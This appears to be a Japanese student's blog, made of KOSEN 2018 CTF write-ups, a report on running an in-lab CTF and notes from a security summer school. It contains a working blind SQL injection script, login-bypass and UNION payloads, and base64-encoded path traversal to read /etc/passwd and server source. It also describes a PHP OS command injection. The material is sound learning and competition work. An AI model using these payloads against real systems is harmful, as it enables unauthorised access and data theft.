a = [0x79,0x38,0x4e,0x41,0x72,0x77,0x59,0x6a,0x3e,0x58,0x4a,0x67,0x49,0x6d,0x65,0x33,0x52,0x51,0x68,0x68,0x5f,0x4d,0x3c,0x76,0x6f,0x31,0x5a,0x5d,0x6a,0x58,0x69]
b = [ 0x2a,0x7b,0x5 ,0xe ,0x21,0x32,0x17,0x11,0x47,0x37,0x3f,0x38,0x2a,0xc ,0xb ,0x6c,0x20,0x34,0x9 ,0xc ,0x0 ,0x2c,0x4f,0x5 ,0xa ,0x5c,0x38,0x31, 0x13 ,0x79 ,0x14]

import sys
for a, b in zip(a, b):
    sys.stdout.write(chr(a ^ b))
sys.stdout.write("\n")

 

[Web 300] 47405b599e22969295ebed486d7343cb

 問題名がひどいけどこれであってるらしい。後から教えてもらいましたが、 SQL Injetctionmd5 らしいですね。問題文は find the flag。すごく時間を溶かした問題です。だいたいスクリプトの実行に時間がかかりすぎたんですね。会場のトラフィックが詰まり気味だったのか、レスポンスがアレだったのか。

 アクセスすると、2つのフォームがあるページがみつかります。一つは検索フォームで、もう一つはログインフォームでした。検索フォームに適当な数字を入れると、 紐付いている数字が表示されます。有効なキーは 1 から 70 くらいまでで、帰ってきた数字を順番に chr していくと大体 Sorry... The flagi is not here. Hints: The flag is the password of the someone. とかそんな感じになりました。

find.kosensc2018.tech_.png (46.8 kB)

 ちなみに、 ' UNION ALL SELECT id, value from hints -- ' とかを入力すると一度に抜けるっぽいです。これは師匠がやってた。

find.kosensc2018.tech_search (1).png (243.6 kB)

 ということで下のフォームにログインしていきます。例えば username を admin 、 pass を 'OR 'a'='a にすると、 Multiple columns not allowed と表示されました。ならばと、 pass を 'OR 'a'='a' limit 1 -- とかにすると今度は Welcome! と表示される。 あ、 Blind SQL Injection だ。

 最初は大雑把に言って pass を 'OR SUBSTR(pass, {l}, 1) = '{c}' limit 1 -- のようなpayloadでやっていきました。 {l}{c} は変数展開のつもりです。これで出たのが、 SCKOSEN{j22522e96848ga64k3i3j85559} 。 勝利と思ったが受付けてもらえず。その直前に運営側の flag 設定ミスのある問題があったので一応確認してもらいましたがこれはダミーということでした。後でわかったけどダミーですらなかった。

 その後試行錯誤して、 'OR 'a'='a' limit 1 offset {i} -- で 5 まで通るから、マッチするパスワードが 6もあることがわかりました。パスワードの文字列が混同されないように気をつけて Blind SQL Injectioをしていく必要があります。これに気がついていないくて、最初は offset だけを動かしていたんだけど、一行しかマッチしない場合に offset 2 とかの payload を送ってもログインできずに泣いているだけだったり。↑のようなだめパスワードに引っかかっていました。

 最終的には、次のようなコードになります。

import requests
import string
import sys

url = 'http://find.kosensc2018.tech/'

FLAGS = [
"SCKOSEN{W22Xxnq9g8rfnEHG",
"SCKOSEN{XS6Pf2JeLqEbgkbi",
"SCKOSEN{jJTT4fFS6u68UrXF",
"SCKOSEN{rBB5GHkbkZktquEe",
"SCKOSEN{sTmxideYKH48wau4",
"SCKOSEN{u6YJ2TypMdAZSx6D",
        ]
while True:
    k = []
    for f in FLAGS:
        for j in range(21, 127):
            i = chr(j)
            payload = "'OR SUBSTR(pass, 1, {}) = '{}' limit 1 --".format(len(f) + 1, f + i )
            r = requests.post(url + 'signin', data={'id': 'admin', 'pass': payload})
            if "Welcome" in r.content:
                print(f + i)
                k.append(f + i)
                break
    FLAGS = k

 SUBSTRでこれまでの flag 文字列を含みながらマッチする文字列を探すことでパスワードが混ざって表示されることを防止しています。 FLAGS に初期値が入っているのはリクエストがめっちゃ遅くてタイムアウトしたときがあったからで、初期値は FLAGS=[""] です。その場合は break を書いてしまうと最初のFLAGしかとれずに死にます。

 これを走らせて得られた結果がこんな感じ↓ で確か flag は SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg} でした。実行にものすごく時間がかかって、↓だけでも 30 min か 1h くらいかかった気がする。

SCKOSEN{W22Xxnq9g8rfnEHGy
SCKOSEN{XS6Pf2JeLqEbgkbip
SCKOSEN{jJTT4fFS6u68UrXFk
SCKOSEN{rBB5GHkbkZktquEeN
SCKOSEN{sTmxideYKH48wau4E
SCKOSEN{u6YJ2TypMdAZSx6DF
SCKOSEN{W22Xxnq9g8rfnEHGyD
SCKOSEN{XS6Pf2JeLqEbgkbipC

略

SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}
SCKOSEN{XS6Pf2JeLqEbgkbipCj3knh5s9}
SCKOSEN{jJTT4fFS6u68UrXFkwmpsF5X5X}
SCKOSEN{rBB5GHkbkZktquEeN3iBj8WEBv}
SCKOSEN{sTmxideYKH48wau4EJZtNZWYZS}
SCKOSEN{u6YJ2TypMdAZSx6DFuzDsvDKcf}

[Web 300] 進撃せよ

 すごく悩まされた問題。 ~~~/list というのがインデックスのページで、 flag.txttest.txt へのリンクがあり、それぞれ /list/base64(flag.txt) /list/base64(test.txt) というような base64encoded な形のリンクでした。

test.txt へアクセスすると test とだけ帰ってきて、 flag.txt にアクセスすると WAF が動いて止められます。どうやら flag という文字列か flag という文字列の base64 に反応しているご様子。

 %00 とかで誤魔化せないかと思ったけど 500 が帰ってきてだめで、しばらく放っておいたら thrust2799 が base64(../../../../../etc/passwd) に成功することを教えてくれました。なるほどと思っていろいろ探ったけど後から考えれば的はずれだったので省略します。

base64(../../../../../../proc/self/cwd)base64(../../../../../proc/self/cmdline) で何をやっているかが読めるので読みました。プロセスは apache2 で、 http のヘッダには nginx と書いていた ので nginx のコンフィグばかり探して見つからないとなっていたのですが、多分 Reverse Proxy が悪いんですねこれ。ということで /etc/apache2/apache2.conf などを見て /var/www/html/waf/public/ が DocumentRoot であることを突き止め、 /var/www/html/waf/public/index.php からサーバが Laravel で動いているっぽいことがわかりました。実は師匠がその前にセッション名から Laravel っぽいということは教えてくれていましたが、一応。

 あとは Laravel のディレクトリ構造を思い出して waf/routes/web.php から waf/app/Controllers/Http/Waf.php にアクセスします。

 帰ってきたのが

?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class Waf extends Controller
{
    //

    public function decode($input)
    {
        $r = base64_decode($input);
        return $r;
    }

    public function BlackList($input)
    {
        $flag = true;
        $BlackList = ["flag.txt"];

        foreach ($input as $val) {
            if (in_array($val, $BlackList)) {
                $flag = false;
            }
            
            $check = preg_match('/flag/', $val);

            if ($check) {
                $flag = false;
            }
        }
        return $flag;
    }

    public function base64url_encode($data)
    {
        return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
    }

    public function base64url_decode($data)
    {
        return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
    }

    
    public function Waf($file)
    {
        $block = false;
        //$data = $this->base64url_decode($file);
        $trim = rtrim(strtr($file, '+/', '-_'), '=');

        if ($this->base64url_encode($this->base64url_decode($file)) === $trim) {
            //base64のとき
            $data = [$this->base64url_decode($file),$file];
        } else {
            //base64ではないとき
            $data = [$file];
        }

        $check = $this->BlackList($data);
        if ($check) {
            //ブラックリストではないとき。
        } else {
            //ブラックリストのとき。
            $block = true;
        }

        return $block;
    }
    public function list_glob($path)
    {
        foreach (glob($path) as $file) {
            $result[] = basename($file);
        }
    
        return $result;
    }
    
    public function index(Request $request)
    {
        //ファイルの一覧
        $list = $this->list_glob("../files/*");
        //return response($list, 200);
        return view('file', compact("list"));
    }
    public function Read(Request $request, $file)
    {
        if ($this->Waf($file)) {
            //waf が検知したとき。
            abort(403, "Access Denied");
            //return response("Access Block", 403);
        }

        $end = false;
        $data = $file;
        while (!$end) {
            $bef = $data;
            if (base64_encode($this->base64url_decode($data, true)) === $data) {
                //base64のとき
                $data = $this->base64url_decode($data);
            } else {
                //base64ではないとき
                $data = $bef;
                $end = true;
            }
        }

        if (file_exists("../files/$data")) {
            $output = file_get_contents("../files/$data", true);
            echo($output);
        } else {
            abort(404);
        }
    }
}

で、ちゃんと読むと、 Waf のときは base64decode を 1回だけやっており、アクセスのときは できる限り何回でもdecodeしていることがわかります。というわけで echo flag.txt | base64 | tr -d '\n' | base64 で生成したパスにアクセスしてフラグゲットです。

waf.kosensc2018.tech_list_Wm14aFp5NTBlSFE9.png (17.4 kB)

 ちなみに想定解は ESP らしいです。時間をかけすぎた感じが否めないけどちゃんと解くことができて気持ちよかったです。

感想

 優勝できてよかったです。 5年生 4人チームということもあり、負けられない戦いでした。

 勝利の要因はいろいろあると思いますが、きちんと役割分担をしたこと、事前準備をしてきたこと、師匠が大体全部解いたことなどでしょうか。役割分担としては、「ネットワークは全部 thrust2799に任せる」とか「theoldmoon0602とptr-yudaiは難しそうなweb問から解く」とか「yoshiking は CTFはじめて2ヶ月だからまずはMiscから(でもRSAもCMAも解いてたし強い)」とかでした。 事前準備で対策していたBlind SQL Injection が 2問もでるなど、意外と問題が当たったのも幸運でした。

https://furutsuki.hatenablog.com/entry/2018/08/30/224142

 運営や問題のクオリティについても高専セキュリティコンテストに適したものが出題されているという感じで、教育的な良問でした。 find the flag の問題はもうちょっと flag 短くするとか少なくするとか、リクエストの回数少なくて良くなるようにしてほしい感はありますが。

 今年もまたSECCON国内大会に出られるということでまた次の目標へ向けて頑張っていきたいと思います。

みて

 頼れるチームメイトのWrite up です。

ptr-yudai.hatenablog.com

 師匠ことプロの write up。丁寧に書いてあるので勉強になりますね。このくらいの問題セットなら、師匠一人で出ていても全完していた可能性がある。

thrust2799.hatenablog.jp

 ネットワークしかできないと言っておきながら各問題について重要な手がかりを入手することに長けたプロであるところの thrust2799 の writeup。すべての問題の解答時間を 12時間程度早めたと言っても過言ではありません。

ocamlab.kibe.la

 CTFはじめて2ヶ月の yoshiking の writeup。ちゃんと解くべき問題を解いているので本当に強い。この人僕より得点稼いでるんです……。さすが king 。 twitter アカウントを開設したらしいのでフォローしてあげてください。

 

OCamlabCTF #2 を開催した

 こういうのは大したためにもなりませんがブログに残しておくと残さないより良いことがありそう。

 私の所属する研究室は OCamlab ということになっていますが、 師匠と私が所属しているのでCTFにそれなりに力を入れています。今日は近くに迫った高専セキュリティコンテストを見据えて、 OCamlab CTF #2 を開催しました。

 OCamlab CTF は OCamlab CTF勉強会の番外編のようなものです。CTF勉強会は夏休みに入ってから始まったもので(それまでは各位の受験があったので)、私と師匠がCTFの過去問を解説したり、師匠が OCamlab CTF #1 を開催したりしていました。参加者は主に研究室同期(キングと呼ばれているのでここでもそう呼称します)や部活(joken)の後輩です。

 本来であれば今回も師匠が問題をつくって無事開催、となるところだったのですが、一昨日の夜に「mysqlが動かなくなってやる気が死んだのでふるつきがやって」と投げられてそこからほぼフル稼働で急いで準備を行いました。去年の高専セキュリティコンテストが King of the Hill 形式だったので今年もそうだろうと思って King of the Hill 形式の問題を3問と、スコアサーバやDefense Flagのチェッカ*1 を作りました。開催前に指摘されて気がついたんですが、今年は Jeopardy 形式だったんですね。いや申込み時点では King of the Hill って書いてたんですよ(大嘘)。

 そんな感じで 3時間程度の CTF を開催したのでスコアサーバ頑張ったよという報告と、どんな問題を作ったのか振り返りをやります。

スコアサーバ

 私はWebアプリケーションは PHP でしか作れないので、PHPでやりました。毎回 Laravel に挑んでは挫折しているので、今回は時間が少ないことも踏まえて最初からLaravelを選択肢から外し、簡単なRouterとTemplate Engine だけが乗っている Slim3 を利用することにしました。 Slim も初めて触りましたが、小さくて何をすれば動くかがわかりやすくてよかったです。 コマンドを叩いて scaffold を作って、というのは私には早すぎた。

 データベースにはいつものように sqlite を使って、一応 wrapper として medoo を採用しましたが、 join や group by が必要になるところでは横着をして 生SQL を書いたのでどちらでも変わらなかったかもしれません。とにかく頑張ったので、それなりに見られるスコアサーバができました。全部書くのに5時間くらいかかった割には機能が少ないのがチャームポイントです。

f:id:Furutsuki:20180830221238p:plain

 KoHのキモであるDefense Flag の集計は cron で php スクリプトを実行することで行いました。ディレクトリ構造を後から変更する可能性があったので、各問題について socat TCP-LISTEN:XXXX,fork,reuseaddr,bind=localhost EXEC:'cat defense_flags' のような感じで Defense Flag の一覧を取れるようにしておく戦術をやったのですが、途中で一回止まったので安定性には欠けます。

 各問題もWeb問題はApache としても、 python で書いて運用する必要があるものは socat で動かしていました。こちらは安定していました。

 

Crypto + Crypto [300]

 最初に考えた問題です。去年の高専セキュリティコンテストで準同型性を持つオカモトウチヤマ暗号が出題されていたので、同じ準同型性を持つ暗号として Paillier 暗号をテーマに、

  • サーバで生成した秘密鍵・公開鍵が送られるので Enc("pascall_paillier") を送ると Attack Flag
  • 送られてきた文字列に Enc("Takoyakitabetai") を乗じたあと Decrypt したものを Defense Flag として書き込み

 のようなスクリプトを書いてソースコードを公開する形で問題にしました。 Paillier 暗号については 英語版 Wikipedia を信じればよいのか、 公開鍵暗号 - Paillier暗号 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです を信じればよいのかというところでしたが、とりあえず平易なWikipedia版の式を試したらうまくいったのでそちらを採用しました。

 これは師匠が割とすんなり解いていました。

Microblog [200]

Web 問題です。 なにかしらのマイクロブログのようなものをイメージしていました。

f:id:Furutsuki:20180830222321p:plain

  • admin としての 最新の 20件 の投稿にDefense Flagが含まれていれば得点
  • admin のパスワードが Attack Flag

という感じでやりました。 ログイン時の SQL クエリを文字列の埋め込みで組み立てているという脆弱性があり、 ユーザ名を admin・パスワードを 'OR'a'='a などとするとログインができるのでDefense Flagを書き込むことができます。 admin のパスワードは ' OR password like 'OCamlab{% などとして Blind SQL Injection で求める想定でしたが、このスクリプトを実行したところ、先頭 10文字程度が適当でも通りました。なんでだろう。 OR password like 'a% でなぜ通るんだ。わからず仕舞いです。

 師匠は開始早々あっさりとDefense Point を獲得しましたが、Attack Flagの取得に苦戦していました。 UNION SELECT をつなげてどこかしらにパスワードをそのまま印字しようとしていたのですがそのような仕組みはなかったので仕方ないですね。 Blind SQL Injection の存在を思い出してからスクリプトを書くのはすぐでした。

 キングと後輩氏も後半になって 'OR 'a'='a に成功していましたが、 Defense Flag は師匠の妨害で流されてしまっていました。

Knock Knock [100]

 中途半端な問題です。 python スクリプトで ICMP のパケットを監視していて、

  • データ部の末尾が requestflag なら ICMP を送ってきたアドレスの TCP 50000 番に Flag を送信
  • ICMPを送ってきたアドレスが 1.2.3.4 なら データ部末尾のnバイトを Defense Flag として受付け

 しています。 Scapy の練習のような問題でした。 ICMP のデータ部を活用した問題を作りたかったんですね。

 これも師匠は楽々解いていました。自分の環境が pyenv なことを忘れて sudo pip install scapy して「インポートできない〜」って言っていたことを除いて。後輩氏は手が出ず、キングには助言をたくさんして解いてもらいました。

Flag Comparator[200]

 今朝ぎりぎりに追加した問題で、 KoH ではなく Jeopardy 問題です。 GDB の練習用に作ったような問題で、 文字列を受付けて Flag かどうかを判定します。文字を 4バイトずつ取得して配列に保存しておいたデータと比較するのですが、前回の入力との xor を取るようにして strings で文字列が見えないようにしています。

 師匠は IDA で解いて、キングは時間外にIDAで取り組んでいましたが、助言の甲斐も報われず持ち帰りとなりました。


 以上になります。 CTF としての結果は師匠が圧倒的で、キングと後輩氏はかろうじて得点できていた、という感じです。今回は問題を作るのはとてもむずかしいということを学びました。師匠は内輪に向けていろいろ問題をつくってくれていますがこれは神だったんだなぁ。

 今回のスコアサーバや問題はストレージサービスのように利用している GitHub にあります。

GitHub - theoldmoon0602/OCamlabCTF2

GitHub - theoldmoon0602/Crypto-Crypto

GitHub - theoldmoon0602/microblog

GitHub - theoldmoon0602/knock_knock

GitHub - theoldmoon0602/flag_comparator

*1:これ名前がついていませんでしたか?

K-SEC セキュリティ・サマースクールに参加した

K-SECというものに参加しました。その間にメモした内容をブログ向きに整えて公開します。K-SEC に参加した人や応募したが参加できなかった人が読むと面白いかもしれません。そうでないひとは読むだけ無駄だと思います。また、本稿についてのご意見は積極的に受付けています。

K-SECについて

K-SECという高専機構のセキュリティ人材教育プロジェクトのようなものがある。今年は初の試みとして K-SEC セキュリティサマースクール in 岐阜高専(以後K-SEC)が開催された。全国から高専生を40人程度集めて、1泊2日で何かしらの講習会を行う。学内で募集がかかっていたので申し込んだ。交通費・宿泊費をK-SEC側の予算でなんとかしてくれるので参加障壁が低く、全国の高専生を集めるというので内容や人間に期待できると思った。学内では7名の申し込みがあったようで、校内での抽選で4名になり、K-SEC側の抽選で私ともう一人、同じ情報工学科の4年生が選ばれた。

当日まで

プログラムを見れば、講義は全部で10個あり、そのうちの5つを受講できるようだった。希望を伝えて、いくらかはその希望は通らなかった。

 その後 yammer の K-SEC グループに招待された。yammer というのは一つのグループウェアのようなもので、コメントの投稿やファイルの共有ができるプラットフォームだ。高専機構はMicrosoftと仲良くしたいので高専機構としてOffice365*1を提携しているので、その関係で採用しやすかったものと思われる。

 いくつかの講義では事前学習の課題が与えられた。一つは使用するマシンにVNCSSHのクライアントをインストールしておくことで、残りは理解度チェックのような、フォームベースの問題を解くものだった。全員に共通して出された課題はアンケート方式で「K-SECでは積極的にコミュニケーションを行い自分の意見を表明できる」という設問に対して6段階で回答する、というような問題が20問程度あるものと「情報を適切に活用することができる」というような設問の、こちらも6段階で回答するものがあった。私の選んだ講義での事前学習では、Unixシェルの基本的な事項について尋ねられる選択式の問題もあった。

講義B: ログによるインシデント解析

 ここで前日にTwitterではろはろしたプロとこんにちはする。はじめましてだけ言って別れた。なんとなく席を決めてすわったあとプロジェクタがちゃんと動くのを待ちました。

 席の人みんなLinux使ってて嬉しい感じになりました。担当は石川高専の先生方だった。

 教材はK-SECの予算でNECに作ってもらったログ。終わった後もやりたかったら教員を通じて言ってねとか講座のネタバレをするなということ。資料もNECのものだった。

 ざっと内容紹介すると、Apache2のログを見ていた。大体適当な正規表現でログファイルのうち着目するものを絞り込み、それらを cat して grepawk か cut。あとは sort や uniq を使っていた。シェル芸力が磨かれたけど新しい知識は無かった。

 時間がもっとあれば、 Wireshark で pcap ファイルを覗いて云々、のようなこともできるらしい。確かに与えられたデータの中にはpcapファイルも存在していた。適当に strings すると UNION%20SELECT って書いてあった。

 講義としてはログ解析というよりはシェル芸という感じだった。もうちょっと脆弱性について、ログに残されたのがどのような攻撃なのか、成功するとどうなるのか詳しく知ることができたら嬉しいと思った。

講座D IoTカーを用いたセキュリティ演習

 続いては苫小牧高専の先生による講義。

 Raspberry + モータードライバによる車が用意されていた。合同会社ヘマタイト製とのこと。IoTカーは80番ポートでLISTENをしており*2、車体後部に搭載されているカメラの画像を閲覧可能。また、タイヤの回転を制御できるボタンがあった。しかしこのページには脆弱性があった。

前進させる forward ボタンは <a href="command.php?script=forward.py> のようなリンクであり、 command.php の動作は大雑把に書いて system("sudo commands/" . $_GET["script"]) だった。forward.py の中身はGPIOを操作するスクリプトであり、これが実行されることでIoTカーが駆動するというわけである。apache を管理しているwww-dataは NOPASSWD でsudo 可能なので、ひどいOSコマンドインジェクションができる。というわけでこれを修正した。起動する必要があるスクリプトはいくつかのpython ファイルだけだったので、$_GET["script"] の値をホワイトリストでチェックした。

あとはデフォルトユーザは狙われやすいので、他のユーザを作っておき、ユーザpi は sudo passwd --lock pi でロックしてしまった。これで90分が終わった。私は勝手に講義資料を読んでDigest認証もやったが、講義中ではDigest認証は飛ばしていた。

 IoTカーの講義だったが、どちらかといえばPHPアプリケーションの脆弱性について詳しくやっていた感じだった。デフォルトのユーザ名・パスワードを使用していると危険だというのはIoTに限らず大事なことだと思う。

講座F 情報セキュリティにおけるインシデント対策演習

 1日目最後の講座。これはグループワークのようだが、前の講座(講座C。私は受講していない)でも同じようなことをやったらしい。今回の講師はMOTEX-CSIRTの方。MOTEXが出してる本を配ってもらったのでありがたくいただいた。

 グループワークなので、自己紹介とリーダ(Chief Information Security Officer)を決めるのに5分程度。私の班は長野の5年生二人と私と後輩。CISOをすっと押し付けれてしまった。コミュ弱なので仕方がないです。少し情報セキュリティの基礎的な部分(パスワードの決め方の注意など)をきいた。

 続いてCSIRT演習。おそらくこちらがメインテーマ。25分程度。架空の会社のCSIRTチームとなり、インシデント対応の演習を行う。今回の演習では営業部だか広報部だかのマシンが出始めのWannaCryに感染したというものだった。何をやっていいかわからないのに時間がなくてなかなかたいへんだった。CSIRTはなかなか忙しそうだ。その後、私達ではない2班が発表をやっていたが、大体考えることは同じだった。

講座G ICT機器に関するリテラシーのワーク

 2日目。

 グループワークをするときの要所からだった。どのようにグループワークを進めればよいのかなどを話してくれる。5W1H のようなリストが用意されていてそこに事項を書き込んでいくと良いとのこと。

 さてこのフォーマットに従って、我々の場合は「医療機関が廃棄業者に流したPC、を購入した大学生がHDDから機密情報を復元した(更に大学生が医療機関に匿名の通報を行ったと仮定)」というシチュエーションにおいて、なにが起こったのかという事例の整理と対策の検討を行った。グループのメンバーがいろいろ考えてくれたのでそれを聞きながら書記をやっていた。

 その後は視点を切り替えて「こうしていれば」「こうならなかった」「こうもならなかった」を考える個人作業をやり、大きい用紙に今の作業を移してグループの意見をまとめた。すると模造紙は「いつ何が起きたのか」「個人として考えた対策の一覧」「グループとしてまとめた意見」が縦に並んでわかりやすい。我々のグループでは「廃棄業者をきちんと選定すること」という意見がでていたが、これを見た教員が「業者を選ぶ基準は」などの疑問を投げかけてきた。そこまで考えが回っていなかった。その教員であれば、HDD全体にランダムな値を3回ほど書き込んで最後にゼロ埋めを行うらしい。

 続いて他のグループでの検討を聞く。新しいグループを形成して、もとのグループでまとめた意見を新しいメンバーに説明する。まとめたと思っても説明するのは難しくて新しく考えさせられたり、他のグループの考えを聞いて刺激を受けたりできた。

講座J: FaBoロボットカー+デバイスWebAPIではじめるIoT実践講座

 最終講座。講師はNTTドコモとFaBoというところの人らしい。講義前に Arduino UNOベースで作られたFaBoカーとAndroid端末が配られた。AndroidにはDeviceWebAPI Manager というアプリケーションが搭載されていて、これがHTTP のエンドポイントを立ててくれるので同一LAN内にいるPCからアクセス、操作できる。APIを叩いてくれるGitHub Pagesがあって、これを使うと手軽にNotificationやVibrationができた。

 今はGitHub Pagesでやっていたが、AndroidとFaBoをつないで、PC側では html/js をいじって操作する。Andriodのmicro USBからArduino UNOにながしてGPIO出力をさせているっぽい。モータを回すAPIや距離を測るAPIの叩き方の例を見て、自分たちで操作してみる。

 ここまでで講座は終わりだった。ちょっと時間があったので、直進するが壁の前でとまるというスクリプトを書いて動かしていた。本当は壁を回避して曲がりたかったけど綺麗に曲がるパラメータを探すのが面倒だったのでやめた。

まとめ・感想

 さすがに参加している高専生は意欲的でとても刺激になった。特にグループワークではいろんな意見があって面白かった。しかし、全部で10講義、個人では5講義しか受けられない中で3講義がグループワークというのは少し偏り過ぎている気がしないでもない。

 とにかく、良い体験でした。  

*1:ただしなぜかOneDriveはまともに使えない

*2:これに相当する良い日本語があったら教えてください